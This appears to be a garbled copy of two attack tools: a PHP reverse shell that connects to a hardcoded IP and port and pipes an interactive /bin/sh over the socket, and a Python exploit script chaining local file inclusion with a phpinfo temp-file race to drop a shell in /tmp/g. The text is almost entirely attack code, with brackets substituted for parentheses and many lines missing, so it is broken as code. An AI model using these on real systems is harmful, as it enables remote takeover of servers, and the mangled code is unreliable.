# //www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf
$ip = '10.10.14.20'; // CHANGE THIS
$port = 3333; //CHANGE THIS
$shell = 'uname -a; w; id; /bin/sh -i';
// Daemonise ourself if possible to avoid zombies later
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if [function_exists['pcntl_fork']] {
// Fork and have the parent process exit
printit["ERROR: Can't fork"];
// Make the current process a session leader
// Will only succeed if we forked
if [posix_setsid[] == -1] {
printit["Error: Can't setsid[]"];
printit["WARNING: Failed to daemonise. This is quite common and not fatal."];
// Change to a safe directory
// Remove any umask we inherited
// Do the reverse shell...
// Open reverse connection
$sock = fsockopen[$ip, $port, $errno, $errstr, 30];
printit["$errstr [$errno]"];
0 => array["pipe", "r"], // stdin is a pipe that the child will read from
1 => array["pipe", "w"], // stdout is a pipe that the child will write to
2 => array["pipe", "w"] // stderr is a pipe that the child will write to
$process = proc_open[$shell, $descriptorspec, $pipes];
if [!is_resource[$process]] {
printit["ERROR: Can't spawn shell"];
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking[$pipes[0], 0];
stream_set_blocking[$pipes[1], 0];
stream_set_blocking[$pipes[2], 0];
stream_set_blocking[$sock, 0];
printit["Successfully opened reverse shell to $ip:$port"];
// Check for end of TCP connection
printit["ERROR: Shell connection terminated"];
// Check for end of STDOUT
printit["ERROR: Shell process terminated"];
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array[$sock, $pipes[1], $pipes[2]];
$num_changed_sockets = stream_select[$read_a, $write_a, $error_a, null];
// If we can read from the TCP socket, send
// data to process's STDIN
if [in_array[$sock, $read_a]] {
if [$debug] printit["SOCK READ"];
$input = fread[$sock, $chunk_size];
if [$debug] printit["SOCK: $input"];
fwrite[$pipes[0], $input];
// If we can read from the process's STDOUT
// send data down tcp connection
if [in_array[$pipes[1], $read_a]] {
if [$debug] printit["STDOUT READ"];
$input = fread[$pipes[1], $chunk_size];
if [$debug] printit["STDOUT: $input"];
// If we can read from the process's STDERR
// send data down tcp connection
if [in_array[$pipes[2], $read_a]] {
if [$debug] printit["STDERR READ"];
$input = fread[$pipes[2], $chunk_size];
if [$debug] printit["STDERR: $input"];
// Like print, but does nothing if we've daemonised ourself
// [I can't figure out how to redirect STDOUT like a proper daemon]
function printit [$string] {
REQ1_DATA="""-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """+padding+"""\r
HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
%s""" %[len[REQ1_DATA],host,REQ1_DATA]
#modify this to suit the LFI script
LFIREQ="""GET /browse.php?file=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
return [REQ1, TAG, LFIREQ]
def phpInfoLFI[host, port, phpinforeq, offset, lfireq, tag]:
s = socket.socket[socket.AF_INET, socket.SOCK_STREAM]
s2 = socket.socket[socket.AF_INET, socket.SOCK_STREAM]
i = d.index["[tmp_name] =>"]
s2.send[lfireq % [fn, host]]
class ThreadWorker[threading.Thread]:
def __init__[self, e, l, m, *args]:
threading.Thread.__init__[self]
while not self.event.is_set[]:
if counter >= self.maxattempts:
x = phpInfoLFI[*self.args]
print "\nGot it! Shell created in /tmp/g"
def getOffset[host, port, phpinforeq]:
"""Gets offset of tmp_name in the php output"""
s = socket.socket[socket.AF_INET, socket.SOCK_STREAM]
if i.endswith["0\r\n\r\n"]:
i = d.find["[tmp_name] =>"]
raise ValueError["No php tmp_name in phpinfo output"]
print "found %s at %i" % [d[i:i+10],i]
print "LFI With PHPInfo[]"
print "Usage: %s host [port] [threads]" % sys.argv[0]
host = socket.gethostbyname[sys.argv[1]]
print "Error with hostname %s: %s" % [sys.argv[1], e]
print "Error with port %d: %s" % [sys.argv[2], e]
poolsz = int[sys.argv[3]]
print "Error with poolsz %d: %s" % [sys.argv[3], e]
print "Getting initial offset...",
reqphp, tag, reqlfi = setup[host, port]
offset = getOffset[host, port, reqphp]
print "Spawning worker pool [%d]..." % poolsz
for i in range[0,poolsz]:
tp.append[ThreadWorker[e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag]]
sys.stdout.write[ "\r% 4d / % 4d" % [counter, maxattempts]]
if counter >= maxattempts:
except KeyboardInterrupt:
print "\nTelling threads to shutdown..."
print "Don't forget to modify the LFI URL"